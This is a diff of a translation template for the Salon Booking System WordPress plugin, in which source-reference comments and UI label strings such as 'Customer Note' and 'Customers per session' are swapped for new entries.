build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6\n-msgid \"Add to your calendars\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:412\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:412\n+msgid \"Customer Note\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_add_to_calendar.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21\n-msgid \"Google calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_note.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_note.php:11\n+msgid \"CUSTOMER NOTES\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_add_to_calendar.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37\n-msgid \"iCal calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:39\n+msgid \"Customer notification\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_add_to_calendar.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_add_to_calendar.php:53\n-msgid \"Outlook calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60\n+msgid \"Customer personal notes\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_manage_buttons.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15\n-msgid \"CONFIRM BOOKING\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59\n+msgid \"customer personal notes\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_manage_buttons.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:32\n-msgid \"MANAGE BOOKING\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18\n+msgid \"CUSTOMER PHONE\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_message_text.php:5, views\u002Fmail\u002F_booking_rated_content.php:6, views\u002Fmail\u002F_status_canceled_content.php:13, views\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_message_text.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_message_text.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_message_text.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_message_text.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_rated_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_status_canceled_content.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:115\n-msgid \"Dear administrator\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_custom_fields.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_custom_fields.php:34\n+msgid \"CUSTOMER PREFERENCES\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_message_text.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_message_text.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_message_text.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_message_text.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_message_text.php:7\n-msgid \"this is an e-mail notification of a new booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:848\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:848\n+msgid \"Customer record - administration note\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:832\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:832\n+msgid \"Customer record - personal note\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_title.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_title.php:35\n+msgid \"Customer score\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_message_text.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_message_text.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_message_text.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_message_text.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_message_text.php:10\n-msgid \" at \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80\n+msgid \"Customer score points\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_message_text.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_message_text.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_message_text.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_message_text.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_message_text.php:13\n-msgid \"please take note of the following booking details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:180\n+msgid \"Customer segment.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_admin_update_message_text.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3\n-msgid \"Reservation addt [SALON NAME] has been modified\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:261\n+msgid \"Customer since\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:30\n-msgid \"BOOKING ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:519\n+msgid \"Customer Since Method:\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:47\n-msgid \"DATE & TIME\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36\n+msgid \"Customer Value\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:75, src\u002FSLN\u002FAdmin\u002FTools.php:120, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28\n-msgid \"SERVICES\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:139\n+msgid \"Customer's bookings\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:75\n-msgid \"SERVICES & ASSISTANTS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fcustomers.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcustomers.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16\n+msgid \"Customers\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:126, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:126, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:126\n-msgid \"TOTAL AMOUNT\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:55\n+msgid \"Customers ids.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:142\n-msgid \"Already paid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:28\n+msgid \"Customers per session\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_info.php:159, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:159, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:159\n-msgid \"TIP\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434\n+#: 